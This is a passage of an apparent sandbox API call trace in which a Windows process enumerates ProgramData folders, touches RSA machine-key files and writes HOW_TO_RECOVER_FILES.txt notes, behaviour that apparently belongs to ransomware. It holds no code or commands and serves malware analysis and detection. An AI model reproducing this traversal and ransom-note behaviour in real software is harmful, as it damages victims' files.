ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 1 [0109.713] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 0 [0109.714] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0109.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0109.714] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x72 [0109.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0109.714] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), fInfoLevelId=0x0, lpFileInformation=0x34aa1f8 | out: lpFileInformation=0x34aa1f8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38)) returned 1 [0109.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0109.714] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x72 [0109.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0109.714] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0109.714] GetFileType (hFile=0x7b4) returned 0x1 [0109.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0109.714] GetFileType (hFile=0x7b4) returned 0x1 [0109.714] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x38 [0109.715] ReadFile (in: hFile=0x7b4, lpBuffer=0x34aa668, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x34aa668*, lpNumberOfBytesRead=0x1faedc88*=0x38, lpOverlapped=0x0) returned 1 [0109.715] CloseHandle (hObject=0x7b4) returned 1 [0109.809] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x72 [0109.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0109.809] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faea5a0) returned 1 [0109.812] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0109.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedec0) returned 1 [0109.812] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0109.812] GetFileType (hFile=0x20c) returned 0x1 [0109.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede30) returned 1 [0109.812] GetFileType (hFile=0x20c) returned 0x1 [0109.813] WriteFile (in: hFile=0x20c, lpBuffer=0x333b698*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faedf88, lpOverlapped=0x0 | out: lpBuffer=0x333b698*, lpNumberOfBytesWritten=0x1faedf88*=0x5d0, lpOverlapped=0x0) returned 1 [0109.814] CloseHandle (hObject=0x20c) returned 1 [0109.814] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0109.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee8f0) returned 1 [0109.814] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0109.815] GetFileType (hFile=0x20c) returned 0x1 [0109.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee860) returned 1 [0109.815] GetFileType (hFile=0x20c) returned 0x1 [0109.816] WriteFile (in: hFile=0x20c, lpBuffer=0x333eee0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faee9b8, lpOverlapped=0x0 | out: lpBuffer=0x333eee0*, lpNumberOfBytesWritten=0x1faee9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0109.816] CloseHandle (hObject=0x20c) returned 1 [0109.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0109.817] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle", lpFilePart=0x0) returned 0x15 [0109.818] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0109.818] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.818] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0109.818] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0109.818] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0109.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0109.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0109.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0109.818] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle", lpFilePart=0x0) returned 0x15 [0109.819] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.819] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.819] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0109.819] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.819] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0109.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0109.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0109.820] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java", lpFilePart=0x0) returned 0x1a [0109.820] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.821] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.821] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".oracle_jre_usage", cAlternateFileName="ORACLE~1")) returned 1 [0109.821] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0109.821] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath", cAlternateFileName="")) returned 1 [0109.821] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0109.822] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 0 [0109.822] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0109.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0109.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0109.822] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java", lpFilePart=0x0) returned 0x1a [0109.823] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.824] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.824] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".oracle_jre_usage", cAlternateFileName="ORACLE~1")) returned 1 [0109.824] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0109.824] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath", cAlternateFileName="")) returned 1 [0109.824] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0109.824] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.825] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0109.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0109.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed520) returned 1 [0109.826] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage", nBufferLength=0x105, lpBuffer=0x1faecfc0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage", lpFilePart=0x0) returned 0x2c [0109.826] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\*", lpFindFileData=0x1faed240 | out: lpFindFileData=0x1faed240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.532] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.533] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x70ca10d9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x0, dwReserved1=0x0, cFileName="17dfc292991c7c46.timestamp", cAlternateFileName="17DFC2~1.TIM")) returned 1 [0110.533] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.533] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed460) returned 1 [0110.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed420) returned 1 [0110.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed520) returned 1 [0110.533] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage", nBufferLength=0x105, lpBuffer=0x1faecfc0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage", lpFilePart=0x0) returned 0x2c [0110.533] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\.oracle_jre_usage\\*", lpFindFileData=0x1faed240 | out: lpFindFileData=0x1faed240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.533] FindNextFileW (in: 